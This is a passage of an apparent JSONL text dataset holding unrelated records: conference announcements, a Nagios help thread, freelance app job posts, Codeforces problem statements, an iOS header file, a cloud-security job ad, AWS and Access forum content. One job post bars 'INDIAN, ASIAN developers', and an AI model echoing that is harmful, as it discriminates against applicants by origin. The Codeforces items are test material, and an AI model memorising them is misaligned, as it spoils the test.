CTO of Octoblu, walk you through how Oct...\nSep. 27, 2016 10:30 AM EDT Reads: 2,190\nSYS-CON Events announced today that CDS Global Cloud, an Infrastructure as a Service provider, will exhibit at the 19th International Cloud Expo, which will take place on November 1–3, 2016, at the Santa Clara Convention Center in Santa Clara, CA. CDS Global Cloud is an IaaS (Infrastructure as a Service) provider specializing in solutions for e-commerce, internet gaming, online education and other internet applications. With a growing number of data centers and network points around the world, ...\nSep. 27, 2016 10:30 AM EDT Reads: 2,871\nSYS-CON Events announced today that LeaseWeb USA, a cloud Infrastructure-as-a-Service (IaaS) provider, will exhibit at the 19th International Cloud Expo, which will take place on November 1–3, 2016, at the Santa Clara Convention Center in Santa Clara, CA. LeaseWeb is one of the world's largest hosting brands. The company helps customers define, develop and deploy IT infrastructure tailored to their exact business needs, by combining various kinds cloud solutions.\nSep. 27, 2016 10:15 AM EDT Reads: 3,170\nWebRTC is bringing significant change to the communications landscape that will bridge the worlds of web and telephony, making the Internet the new standard for communications. Cloud9 took the road less traveled and used WebRTC to create a downloadable enterprise-grade communications platform that is changing the communication dynamic in the financial sector. In his session at @ThingsExpo, Leo Papadopoulos, CTO of Cloud9, discussed the importance of WebRTC and how it enables companies to focus...\nSep. 27, 2016 10:00 AM EDT Reads: 2,182", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 3821, "token_count_with_eod": 3822, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "let’s say my e-mail address is [email protected], how would I get nagios to send me an e-mail notifying me that a service/host is malfunctioning. I don’t understand how it works so if anyone can explain how I would do that or link me to some documentation I’d truly appreciate it.\nNagios comes with documentation that does an excellent job of explaining how to install and configure it. It is available via the web interface, and also at nagios.org/docs/ . A couple other good links are:\ninstalling under debian: wiki.tryphon.org/How_to_install_ … der_Debian\nmain documentation supplement:\nklickitat.ee.washington.edu/medg … -notes.txt\ngeneral install guide\nfreebsd install guide:\nsection6.net/wiki/index.php/ … in_FreeBSD\nI’ve also included a text file with ALL my nagios bookmarks (these included)\nYou’ve also probably found the 2nd greatest resource besides the documentation. This forum is great, but remember RTFM first, as it usually has the answers to your questions. good luck!\ni must admit that the first time i had some problems getting on nagios because the installation had been made by somebody else… and some permissions were missing…\nThen i made the whole lot from scratch and it took me around two weeks to have as i wanted it… that doesn’t mean you need 2 weeks to have it running… much depends from your workload. if you have plenty of time and resources i think it can be done wqithout toio much effort in a couple of days. 1 day reading 1 day playing around\nAfter you have read the docs on how to configure hosts.cfg services.cfg hostgroups.cfg contacts.cfg contactgroups.cfg if you still don’t understand how to get an email, then reply again, and I\"m sure someone can help. Gotta give it the college try first ok?\nhey man, I’ve read the docs, I just have a little problem understanding all those $ signs, macros and stuff. I don’t know whether they are built in or I have to write the code for them? My deadline is next friday, so I’ll see what I can do over the weekend in terms of college lol.\nTo get notified about a problem you have to be a user first off.\nDefine a user per the docs. Add that user “tech” to the contact.cfg file. Give him 24/7 timeperiod.\nDefine a service check and a host for that service. Put that host in a hostrgroup called “tech_servers”.\ndefine a contact group called “techs” in the contactgroups.cfg file. Put that user in this group as a member.\nIn the service defintion for the service, tell it the contact_group is “techs”.\nNow, click on the service and click on “Enable notifications for this service”.\nDown the service in some method and see if you are getting an email. If not, let us know the errors.\nYou don’t have to define any macros, or rewrite nagios. That’s been done already, so don’t worry about the $ stuff at this point.\nSo as you can see, if a service fails, nagios will contact whatever you have in the services.cfg for “contact_groups”, in this case “techs”.\nSince in the contactgroups.cfg you have defined a contactgroup called “techs” and “tech” is a a member as shown in that file, then “tech” will be notified.\nLastly since you defined a “contact_name” in the contacts.cfg called “tech” and his “service_notification_period” is 24/7, he/she will be notified and life is good.\nEdited Fri Jul 22 2005, 09:00AM ]\na little clarification on two things, 1) This user I’m supposed to create would b 4 the web interface, kinda like nagiosadmin?\n2)in defining a service check what do I put for the check_command and wouldn’t that check command have to be defined in checkcommands.cfg and if so what would the command_line be?\nnow for what I really don’t understand. What would I put as e-mail in the contacts.cfg file. now that I think about it maybe it’s unnecessary\nEdited Wed Jul 27 2005, 02:18PM ]\nI can’t tell you what to define for a check_command. ONly you can decide that. Perhaps, check_coka-cola to see if the vending machine is out of coka-cola. There is almost nothing nagios can’t check, so you decide what you want to check.\nThe user’s you create can be defined in the contacts.cfg so that they may view certain hosts/services and be notified if a failure occurs. The email that you use surely wouldn’t be your email, so use your best judgement. If you are defining a contact for your boss, what email do you think you would define for your boss? Surely not my email addy, or your email addy.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1068, "token_count_with_eod": 1069, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I need a new website. I need you to design and build my online store. We are trying to developed a website + android application. It buy sell type (Nearly similar with Flipkart) + some services and additional features. The expected login registration are 1 million withing year after launch which may increase to 20 mil in 3 years. Transaction volume\n...disciplines in systems engineering, gaming, and web architecture, and so we're looking for engineers who can adapt and hack the stack. From working with HAL to system-level services to some front-end work, we're looking for a generalist engineer to help bring PlayTable to life. You'll be working on the core OS that the PlayTable hardware runs and work\nFrom working with HAL to system-level services to some front-end work, we're looking for a generalist engineer to help bring PlayTable to life. You'll be working on the core OS that the PlayTable hardware runs and work closely with the team to develop a cohesive overall platform structure. Responsibilities of the OS include serving content to\nI need an Android ans IOS app. I would like it designed and built. Need a freelancer to develop an app for courier services to collect parcel and deliver it to the customer desired place, with live rider tracking. Model app can be found on following link i need same with little modifications.. [url removed, login to view]\ni would like to build my android app like :- [url removed, login to view] We already have web application and Web services, you no need to work on server side coding.\nThis is going to be an application for both android and iOS however will do POC in android. It is going to have to do the following: Background: Users will signup onto the website and will be given a reference. This reference will state their name, address and signup time. To do: User will enter that reference into application, at the same time the\nWe are interested in developing a new a new privacy Cryptocurrency. We would need assistance with Development Services such as a Wallet App for Android and iOS. The Crypto Coin Creation. Also open to suggestions about Crypto Coin Mining, Pool Mining, Coin Web Wallet, (ICO) Development, MLM Software Development, and Smart Contract Development.\nI'm looking for developers to make an MPV and scale it , into full flagged web and in Android/iOS app (in the future). For now, I need the MPV website ready in a day or two if possible, so that I can run test, then registration and start services in 10 days in here. We are a tech startup, our MPV is somewhat like this: 1) There are two kind of\n...and trading services. I don't have the time to deal with it, but domains are ready to host and I will provide all the details for the site. This is what I need: 1. Web site Aside from the 'standard' site layout which I need to be very modern, flexible, minimal and VERY professional (the main concept is that I sell products and services related to\nCreate a Android app to browse the site should complete in 1 hour i have a wordpress site i need app with slide nav for android needs to be delivered within 1 hour time. i need to publish the app so sign the apk you cannot use third party services like app generators.\nBuild a robust iOS and Android live streaming app using AWS media services ,Lambda, Cloudfront, Mobile analytics which mimics a popular app. (AWS exp is a must) The developer also need to be design centric. Looking for a strong developer who has developed apps for million + users with backend. Rules for bidding: 1. NO INDIAN, ASIAN developers\nThis is a new group aiming at cryptocurrency management and trading services. We need to develop an Android cryptocurrency wallet. Within this wallet, user can manage their crypto coins and trade with others. We may want this wallet in one month. Thanks.\nI need an Android app. I would like it designed and built. RIMKA EHITUS OÜ is a company setlled in Estonia. We need someone to design an application for public use. Our services are Maintenance for several buildings, homes, offices, and shops. We provide finishing, civil, cleaning, and others.\nI need an Android app, Application needs to track GPS (mobile location) for the particular user and unique ids, other things like unique order creation, payment gateway, receipts, transaction reports can be exported in excel, time to reach at the destination and visa-versa to collect the document. Two parts of users 1 applicant and other service\n...write some web services for the dashboard. in order to bring the questions, news, the videos list and payment history to the android app. I should say, all of these options already exist in the app, but they get the information from different web services. Another point about the project is. The both of the web panel and the Android app use Farsi[ Persian\nNeed to create an android App with about 10 screens . It is basically a news app , wherein user can browse categories and add favourites in categories as well as news items. All News items should be fetched from Internet - I will explain the flow here in detail. It is upto the developer to decide on the UI . It should have in-app purchases of select", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1104, "token_count_with_eod": 1105, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a prime number $$$n$$$, and an array of $$$n$$$ integers $$$b_1,b_2,\\ldots, b_n$$$, where $$$0 \\leq b_i < n$$$ for each $$$1 \\le i \\leq n$$$.\n\nYou have to find a matrix $$$a$$$ of size $$$n \\times n$$$ such that all of the following requirements hold:\n\n- $$$0 \\le a_{i,j} < n$$$ for all $$$1 \\le i, j \\le n$$$.\n- $$$a_{r_1, c_1} + a_{r_2, c_2} \\not\\equiv a_{r_1, c_2} + a_{r_2, c_1} \\pmod n$$$ for all positive integers $$$r_1$$$, $$$r_2$$$, $$$c_1$$$, and $$$c_2$$$ such that $$$1 \\le r_1 < r_2 \\le n$$$ and $$$1 \\le c_1 < c_2 \\le n$$$.\n- $$$a_{i,i} = b_i$$$ for all $$$1 \\le i \\leq n$$$.\n\nHere $$$x \\not \\equiv y \\pmod m$$$ denotes that $$$x$$$ and $$$y$$$ give different remainders when divided by $$$m$$$.\n\nIf there are multiple solutions, output any. It can be shown that such a matrix always exists under the given constraints.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I would like to attach .pdf documents to a lot of my new posts, but the only method I have found is to use scribd.com, which has a lot of advertising and can be confusing to navigate. Do any of my readers know of any alternatives?\nThanks! I'm excited to post my arrangement, but really don't want to have to use scribd this time if another option is available.\nRegardless, I will share it next week, so stay tuned!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 97, "token_count_with_eod": 98, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "We are looking for an architect and security professional with extensive cloud security experience to join the Technology Division at MSK. In this fast-paced and growing organization, where we foster an environment of continuous innovation, you will play a major role in securing MSKs cloud platforms while ensuring that scalable solutions are made available to meet various critical business needs.\nAct as the SME for secure cloud design and be an integral part of designing, implementing, and securing MSKs cloud environments in order to foster and enable innovation across the organization.\nPerform technical security assessments, penetration tests, and security audits of cloud architecture, applications, and supporting processes\nDefine, build, and manage the processes and technologies vital to protecting MSKs cloud environments.\nCommunicate cloud platform vulnerabilities and mitigation options to partners that balance business agility with security\nEstablish polices & standards that guide builders to meet security requirements\nBacked by 7+ years demonstrated ability (or equivalent knowledge) in a security role, with at least 3-5 years of hands-on experience with major cloud platforms like Azure or AWS\nDeeply knowledgeable of Azure and or AWS IAM, least-privilege access, security groups, VPCs and AWS networking standard methodologies, and web applications security practices\nPassionate about DevSecOps and promoting security culture across the company\nComfortable with standard networking concepts and technologies, including virtual private networks (VPNs), IPsec, SSL/TLS, LDAP and public key infrastructure (PKI)\nAlways hungry to learn more and expand your skillset to new platforms and technologies.\nEquipped with a knowledge of industry best practices when it comes to cloud security\nExperienced with common scripting and automation tools such as Bash and Python\nInternal Number: 2020-46029\nAbout Memorial Sloan Kettering Cancer Center\nAt Memorial Sloan Kettering (MSK), we’re not only changing the way we treat cancer, but also the way the world thinks about it. By working together and pushing forward with innovation and discovery, we’re driving excellence and improving outcomes.\nFor the 28th year, MSK has been named a top hospital for cancer by U.S. News & World Report. We are proud to be on Becker’s Healthcare list as one of the 150 Great Places to Work in Healthcare in 2018, as well as one of Glassdoor’s Employees’ Choice Best Place to Work for 2018. We’re treating cancer, one patient at a time. Join us and make a difference every day.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Little R is a magician who likes non-decreasing arrays. She has an array of length $$$n$$$, initially as $$$a_1, \\ldots, a_n$$$, in which each element is an integer between $$$[1, m]$$$. She wants it to be non-decreasing, i.e., $$$a_1 \\leq a_2 \\leq \\ldots \\leq a_n$$$.\n\nTo do this, she can perform several magic tricks. Little R has a fixed array $$$b_1\\ldots b_m$$$ of length $$$m$$$. Formally, let's define a trick as a procedure that does the following things in order:\n\n- Choose a set $$$S \\subseteq \\{1, 2, \\ldots, n\\}$$$.\n- For each $$$u \\in S$$$, assign $$$a_u$$$ with $$$b_{a_u}$$$.\n\nLittle R wonders how many tricks are needed at least to make the initial array non-decreasing. If it is not possible with any amount of tricks, print $$$-1$$$ instead.", "source": "cpt_codeforces", "language": "en", "token_count": 229, "token_count_with_eod": 230, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Of course you have heard the famous task about Hanoi Towers, but did you know that there is a special factory producing the rings for this wonderful game? Once upon a time, the ruler of the ancient Egypt ordered the workers of Hanoi Factory to create as high tower as possible. They were not ready to serve such a strange order so they had to create this new tower using already produced rings.\n\nThere are n rings in factory's stock. The i-th ring has inner radius ai, outer radius bi and height hi. The goal is to select some subset of rings and arrange them such that the following conditions are satisfied:\n\n- Outer radiuses form a non-increasing sequence, i.e. one can put the j-th ring on the i-th ring only if bj ≤ bi.\n- Rings should not fall one into the the other. That means one can place ring j on the ring i only if bj > ai.\n- The total height of all rings used should be maximum possible.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "//\n//  StrategyTableViewCell.h\n//  Travel\n//\n//  Created by lanou on 15/9/18.\n//  Copyright (c) 2015年 TeamThree. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n#import \"NewStrategyModel.h\"\n@interface StrategyTableViewCell : UITableViewCell\n@property (nonatomic, retain) UIImageView *coverImg;\n@property (nonatomic, retain) UIImageView *imgView;\n@property (nonatomic, retain) UILabel *title;\n@property (nonatomic, retain) UILabel *subtitle;\n\n- (void)setCellWithNewStrategyModel:(NewStrategyModel *)model;\n- (void)setCellWithHotStrategyModel:(NewStrategyModel *)model;\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 155, "token_count_with_eod": 156, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Amazon EC2 Container Service Now Integrated with Network Load Balancer to Support High-Throughput and Direct TCP Connections with Containers\nThe Network Load Balancer offers a high-performance load balancing option that operates at the network connection (TCP) layer and allows you to route connections to containers running on Amazon ECS based on IP protocol data. Network Load Balancer is capable of handling millions of requests per second while maintaining ultra-low latencies. Network Load Balancer is optimized to handle sudden and volatile traffic patterns while using a single static or dynamic IP address per Availability Zone.\nPreviously, traffic routed through the Classic Load Balancer or Application Load Balancer was intercepted and then forwarded onto target Amazon ECS tasks or services. This meant that you could not pass source IP data to your containerized applications without configuring Proxy Protocol, or establish high-throughput direct TCP connections to your containers without taking advantage of a load balancer.\nNow, you can use the Network Load Balancer to form direct TCP connections from clients to your Amazon ECS tasks and services. This allows for services that use TCP connections on static or dynamic ports to use the load balancer. Additionally, security-conscious customers that do not want to terminate or offload their secure connections at the load balancer can route and pass-through traffic directly to containers, and see the original source IP information automatically in the logs of the Amazon ECS task or service.\nvia the fine folks at Amazon Web Services.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 287, "token_count_with_eod": 288, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "to customize your list.\nmore stack exchange communities\nStart here for a quick overview of the site\nDetailed answers to any questions you might have\nDiscuss the workings and policies of this site\ntag has no wiki summary.\nWas the transition from the Bronze Age to the Iron Age violent?\nIn Europe, when the Bronze Age ended and the Iron Age began, was it a peaceful spread of technology, or was it a violent conquest where the newcomers were able to win by their more advanced ...\nJun 29 '12 at 17:06\nrecently active bronze-age questions feed\nfrequent question tagged\nHot Network Questions\nHow to run a saved file at once\nCan we have a one-one function from [0,1] to the set of irrational numbers?\nA set for which the majority have a common theme\nHow could a failed left wing cause a roll to the right?\nShould a journal ever reveal the name of an anonymous reviewer?\nChange labels on x-axis in TikZ plot\nHow long does it take for PPAs to get rebuild? Is it automatic?\nWill 1 gram of matter moving at relativistic speeds completely annihilate a larger quantity of stationary antimatter?\nCan water be liquefied or solidified just by adjusting the temperature, regardless of the pressure?\nHow much total salary to allocate to defer $17,500 to 401(k)?\nIs there a way to see why certain dependency of a package is needed?\nWhat is the coolest way to minimize all the windows except the active one?\nAre spline joints inherently stronger than a standard butt miter joint?\nHow to unlink a node with python?\nShould I notify the teacher that he accidentally gave out the answers to an assignment\nHow to decide \"I'll trust this software\" for closed-source or precompiled software?\nI was published in a journal on Beall's list - how bad is my mistake?\nFinding a pair of functions with properties\nWhy we study Geometric invariant theory?\nIs overtime always paid in Germany?\nAs a fighter human is it possible to have a pixie as a companion?\nBeginner guitar : Ode to Joy - is it chords shown in sheet? E.g. C is shown, but not played in note\nIs it appropriate to use a previous (recent) letter of recommendation for a different application?\nhow to combine a list of the prime factors\nmore hot questions\nLife / Arts\nCulture / Recreation\nTeX - LaTeX\nUnix & Linux\nAsk Different (Apple)\nGeographic Information Systems\nScience Fiction & Fantasy\nSeasoned Advice (cooking)\nPersonal Finance & Money\nEnglish Language & Usage\nMi Yodeya (Judaism)\nCross Validated (stats)\nTheoretical Computer Science\nMeta Stack Exchange\nStack Overflow Careers\nsite design / logo © 2015 stack exchange inc; user contributions licensed under\ncc by-sa 3.0", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 615, "token_count_with_eod": 616, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Access 97 can't resize database window\nMy database window with the listings of forms tables etc was adjusted to a\nsmaller width, but resizing it is completely disabled and renders Access\n2007 utterly useless for me. Is there anyway to 'reset' the window?\n...How to link with an Access DB\nHi, I have an Acces DB with many tables.\nI need to choose the name of a customer in a cell of Excel.\nFor example, in acces I have this tables:\nI need to choose the last name from a drop down menu in a spreadsheet and\nthen in other cell I need to put all the data regarding the last name that\nI hope to be exaustive, and sorry for my english. :-)\n...exporting outlook 2000 pst files to a database\nI need to export outlook 2000 to a database- attachments\nand all. Is there a simple way to do this so you can search\nand retreive messages and attachments in a database form?\nYou can export individual folders to access or excel to have them available\nfor searching. I have never tried to export my entire .pst file to access\nor excel however.\nMilly Staples [MVP - Outlook]\nPost all replies to the group to keep the discussion intact.\nAfter searching google.groups.com and finding no answer\nJeff <email@example.com> asked:\n| I need to export outlook 2000 to a database- ...[Access 2007] How to edit custom menubar created in Access2003?\nThis is my first post to this server, Hello everyone.\nWe're working on a database created by my collegue in MS Access 2003. Since\nsome time we've moved to MS Access 2007. Now we find problems editing the\nmenubar. Each time we want to remove/add/alter a menu item my collegue goes\nto his MS Access 2003 and changes a menu.\nIn 2007 the full menubar is visible under Add-Ins ribbon menu.\nNormally there should be a system table USysRibbon, but it is not there.\nThere are only MSys* objects. How can we change the menubar directly in MS\nAccess 2007? Is that possible at al...Access 2003 resets form variables during debugging while the form is open\nI am using MS Access 2003. (FWIW, this is about an ADP project, not\nA form has a variable that is initialized (by some function call) in\nForm_Load() and then stays unchanged for the form's entire lifetime.\n(In a language more advanced than VBA, it would be a constant, not a\nvariable; unfortunately, in VBA I cannot initialize a constant by non-\nconstant expression). Specifically, in my case it looks like this:\nPrivate sTempFileName as String\nPrivate Sub Form_Load()\nsTempFileName = GenerateTempFileName(...)\nPriv...office 2000 [excel] cannot open previously OK file. Help\nWhen trying to open a Microsoft Excel Work Sheet that I had accessed modified\nand saved to only yesterday [Office 2000] a window pops up with:\n\"name.xls cannot be accessed. The file may be resd-only, or you may be\ntrying toaccess a read only location. Or, the server the document is stored\non may not be responding.\"\nOlder files stored on the same mediums ;HD, Flash memory or 3.5in. diskette\nare accessed with no problem.\nThis is on a network drive?\n...Can't move things to deleted items: The item could not be deleted. It was either moved or already deleted, or access was denied\nThis is weird. It looks like I have one user with a damaged 'deleted\nitems' bin. Everyone else is fine. This user had opened up an accout of\nsomeone who left the company a while back and apparently tried to\ndelete a few thousand spam messages that they had. Their system eitehr\nlocked up, or they got sick of waiting and did something to stop it,\nwhen they did we could no longer mount the information store. I ran\nseveral things including an eseutil /p on the database, and then\nremoved the log files and ran the ISINTEG -s server01 -test alltests\n-fix, which found 2 or three problems and f...Getting control IS in Active X controls\nThe common recipee is to use\nboth return 0\nSo what can be done\n...Outlook 2000 not opening.\nI am having a major problem with outlook. Can anyone tell\nwhy Outlook will not open when selecting it. When I check\nin the processes there is an instance of Outlook.exe there\nbut it is not doing anything. When a different user logs\nonto the machine Outlook will open fine with no problems.\nI have deleted the users profile and recreated it but to\nno use. I have tried comparing the local registry keys of\nthe two users and they seem to be the same.\nCan anyone please help me as I have ran out of things to\nThanks in advance.\nDoes Outlook start in /safe mode? (I'm assumi...users with restricted access\nWe have some users that we have directed to only get their information\nfrom a report that has been set up. Because of that, I set up a\nparameter query to make the information more easy to see.\nThe parameter query prompts for last name or broker #, is there a\nway, when the last name is entered to include Jr's & Sr's? Or should\nthis be another field in the table to make the last name field more\n...CRM Outlook Client Configuration Wizard Problem\nCRM 4.0 - Microsoft Outlook Client\nWe've Microsoft CRM 4.0 Server roll up 8 as well as CRM Outlook Client on\nthe same roll up version. Our Internal Web Access works without problems\nusers get to it and they're automatically authenticated. IFD Development is\nthe same way except they're prompt through a login page for their username\nand password when they're coming from an external network.\nEver since we moved to a new facility users are experiencing problems\nconnecting to CRM using their outlook client, I have a test machine where I\nhave the CRM Outlook Client ins...Access 97/2000/2003 comparisons\nI have a rather large application that uses an access 97 database (DAO). We\nalso have a version that works with access 2000, Oracle, msde, and SQLServer\n(ADO). We would like to retire the DAO version of the product, but there are\nplaces where the ADO version is much slower compared to where we run DAO\nseeks (very noticeable when looping). So, I have a few questions.\n1. Are there any tips/tricks to speed up ADO queries to compare with DAO\n2. Would there be any benifit in using access 2003 over previous versions of\nthe software besides the added features (xml support, etc).\n3...Using later version of microsoft access\nI've got access 2000 on my computer. When I go to open a database someone\nsent me I get an error message :\nthis database is in an unrecognized format. The database may have been\ncreated with a later version of microsoft access.\nIs there any way I can open and use this file (short of upgrading to later\nversion of access)?\nIf you do not have Access 2002 or 2003, ask the person to save it in Access\n2000 format for you.\nAllen Browne - Microsoft MVP. Perth, Western Australia.\nTips for Access users - http://allenbrowne.com/tips.html\nReply to group, rather than allenbrowne at m...Controling a MailMerge...\nI am about to redo a procedure that will control a mail merge.\nMy current process requires that the AccessDB is closed. This is the\n1) Data exists an access table that represents children in a household.\n2) The assumption is made that the youngest child stores the most current\nmailing address and parent's names. A form/sub-form process allows viewing\nall children in a selected household as well as updating the address\n3) A button on the main menu starts the mail-merge. It runs a Make Table\nquery that generates the data necessary for the household. Then l...Audio does not work on other end of video call\nI have 3 or 4 people that I have tried to setup video calls thru messenger\nand only one of them can hear me clearly. One can hear me but I have to\nyell. Another cannot hardly hear me at all and is choppy.\nThe video portion works fantastic on both ends, as well I can hear everyone\ncrystal clear. I also know that the other party's systems seem to be working\nwell because I can actually hear their pc's making noise when I type a\nmessage or when they play something. So I don't think they have speaker\nDoes anyone know what the problem could be?\nEveryone i...backup file won't work!!\nOK, now I've really had it! This is my last resort!\nSeveral years ago, while using Money 97, our computer\ncrashed. We had backed up every time we used money, so I\nthought we were OK. However, we could never get the\nbackup file to pull up after fixing the computer and\neverything was lost. I vowed that this would not happen\nagain, so I tried backing up on a ZIP disk instead, and\nthen on CDs. I also got on this newsgroup and got the\nadvice that I needed to first copy the backup file onto\nthe desktop and open it from there. I tried doing that\nwith the old program, and it seeme...How to make Run Integration work in GP 10\nCan anyone tell me how to make the Run Integration tool work in GP 10. We\njust did our first client upgrade to GP 10 and the client has only 1\nintegration that they used to be able to run via the RUN INTEGRATION Tool.\nAny help would be greatly appreciated.\nI have the same probelm...did you get any answers to this?\nI have to go into Integration Manager to run it b/c Tools>Run Integration\ndoes nothing. I even checked the ini files to make sure the path is correct.\n\"Tammy Chavez\" wrote:\n> Can anyone tell me how to make the Run Integration tool work in...no access to send internet email\nExchange 2003. Can a mail enabled user be restricted to send internal email\nonly and not internet email?\n> Exchange 2003. Can a mail enabled user be restricted to send internal\n> only and not internet email?\nyes, that is possible.\nThere are multiple ways to archive this goal. Depents on your\nIf you have mailing to external over an SMTP Connector, try this:\nFirst look into your SMTP Connector, you will find Delivery Restrictions\nIt is self explaining.\nIf you have trouble with that or you won't find it,\nthen i will need additi...Data migration - Adventure Works\nI have a company where the adventure works db has been used and had a\nlot of data populated into the system. We have now purchased MSCRM and\nhave obtained the company reg keys.\nWhat is the easiest way to get the data from the 1 system to the next?\nWe will be establishing a new AD domain and users for the new\nData Migration Framework?\nMicrosoft CRM MVP\n\"funboy...Special Pasting a work book with many sheets and formulas\nI have a workbook with many sheets that all have formulas and links to other\ndata. I want to save the workbook as another name with all the worksheets\nkeeping the values only (no links or formulas). Is there a quick way to do\nthis for everysheet without having to special paste every sheet in the\nworkbook. So can I save everysheets data values at workbook level.\nSee this page for a code example\nRegards Ron de Bruin\n\"lex63\" <firstname.lastname@example.org> wrote in message news:ED708...Is Outlook 2000 compatiple with Windows XP Home?\nIt seems to be having problems if it is... something like\nOutlook has experience a problem and must close. I rand\nthe compatibility wizard, but it didn't help. Can you?\nI have Outlook 2000 installed on my XP Home machine and\nit works fine.\n>It seems to be having problems if it is... something\n>Outlook has experience a problem and must close. I rand\n>the compatibility wizard, but it didn't help. Can you?\nRod <email@example.com> wrote:\n> It seems to be having problems if it is... something...OL 2000 should not autom send/receive on start\nI found it in OL 2002 but not in OL 2000.\nHow can I define, or better disable, that OL is trying to\nsend/receive mails on starting and closing OL?\nAnd it should never automatically try every x minutes to\ndo so. I found this option on OL2000 but my impression\nis, that OL is still polling the pop3 account for new\nAny help on this would be appreciated.\nThanks a lot\nTools->email accounts->send/receive settings.\nMilly Staples [MVP - Outlook]\nPost all replies to the group to keep the discussion intact. Due to\nthe (insert latest virus name here) virus, all mail se...Setting Defaults in New Item Wizard\nHow can I set a default value in the New Item Wizard? I want to always use a\nbarcode type that is about 10 down from the top and I want Taxable Item to\nalways be checked. Help...\nGood question, I need an answer too.\n\"A StanTech Associate\" wrote:\n> How can I set a default value in the New Item Wizard? I want to always use a\n> barcode type that is about 10 down from the top and I want Taxable Item to\n> always be checked. Help...\nYou can set the default sales tax under Manager, File, Configuration, Sales\nTax, Default item tax group.\nTo set a default barcode type yo...Outlook 2000 #187\nWhen I launch Outlook 2000, it hangs up. I've installed\nthe upgrade from Office 97 to Office 2000. Can anyone\ntell me why outlook hangs up. I've check the properties\nand verified my internet e-mail information.\nJ. Tolbert Fuller, jr.\nHouston TX 77093-8411\nFuller John T. <firstname.lastname@example.org> wrote:\n> When I launch Outlook 2000, it hangs up. I've installed\n> the upgrade from Office 97 to Office 2000. Can anyone\n> tell me why outlook hangs up. I've check the properties\n> and verified my inte...Rule Wizard: \"Rules In Error\"\nI have a blackberry, and I have my outlook forwarding\nemails to it, but about once a day, I get a message that\nsays \"Rules in Error: Error in Rule Execution\" and it\nwon't forward any emails after that. I only have one\nsingle rule, so it's not a rule conflict. Does anyone\nknow the deal? This is extremely frustrating as sometimes\nI'll be out of the office during the weekend or at night\nand won't receive any message for hours on my blackberry,\nonly to find out later that this \"Rules in Error\" dialog\nbox popped up and it won't forward emails. It see...", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "MARKDOWN format - how to indicate Image Size ?Answered\nwhen using MARKDOWN, (![alt text](https://hub.openrainbow.com/img/logohub.svg)),\nwhat is the format to indicate a width limite (to 200px eg or to the size of the desktop messag area ?).\nCurrently, image is pushed 100% of its original width which is overflowing the display screen sometimes .\nThe only tags supported are (https://hub.openrainbow.com/#/documentation/doc/sdk/node/guides/Answering_chat_message) as described:\nInteraction with Rainbow clients\nAt this time of writting, Rainbow clients manage Message language and are able to display messages using a\nMarkdowncontent type. This feature is not officially supported but if your Node.JS application interacts with a Rainbow official client, this can help.\nHere is the list of Markdown tags supported by the Rainbow official Web application (Rainbow Web client and Rainbow Desktop client):\n+or `* ``\n> a Blockquote.\nNote: Other Markdown tags can be used specifically if you have provided your own end-user application but will not be rendered correcly in the Rainbow official clients.\nSubject is used when displaying Rainbow notification messages.\nNote: At this time of writing, Markdown is not supported by the Rainbow mobile clients.\nand no way to force an image size.\nNo way described also in official Markdown doc: https://daringfireball.net/projects/markdown/syntax#img\nUp to you to resize the image before including them to the message. Or if your server is \"resize on the fly\" - capable, use it\nFor example on some servers:\n\"/images/the_img.jpg?w=120\"to force it at 120px width\nWarning also to share an https// image url ! Instead of that all clients in HTML5 will display a Warning \"mixed content\".\nPlease add a request to Markdown project for adding an image size to\n=> not linked to Rainbow.\nPlease read my reply. You said \"On-the-fly resizing must be supported by Rainbow Clients\", I said: up to your server, where the image is hosted (not Rainbow servers) to resize the image if possible.\nOr as I said also, before attaching the IMG in your Markdown message, up to you to resize it in your code !\nPlease sign in to leave a comment.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 496, "token_count_with_eod": 497, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Nowadays, most of the internet advertisements are not statically linked to a web page. Instead, what will be shown to the person opening a web page is determined within 100 milliseconds after the web page is opened. Usually, multiple companies compete for each ad slot on the web page in an auction. Each of them receives a request with details about the user, web page and ad slot and they have to respond within those 100 milliseconds with a bid they would pay for putting an advertisement on that ad slot. The company that suggests the highest bid wins the auction and gets to place its advertisement. If there are several companies tied for the highest bid, the winner gets picked at random.\n\nHowever, the company that won the auction does not have to pay the exact amount of its bid. In most of the cases, a second-price auction is used. This means that the amount paid by the company is equal to the maximum of all the other bids placed for this ad slot.\n\nLet's consider one such bidding. There are n companies competing for placing an ad. The i-th of these companies will bid an integer number of microdollars equiprobably randomly chosen from the range between Li and Ri, inclusive. In the other words, the value of the i-th company bid can be any integer from the range [Li, Ri] with the same probability.\n\nDetermine the expected value that the winner will have to pay in a second-price auction.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
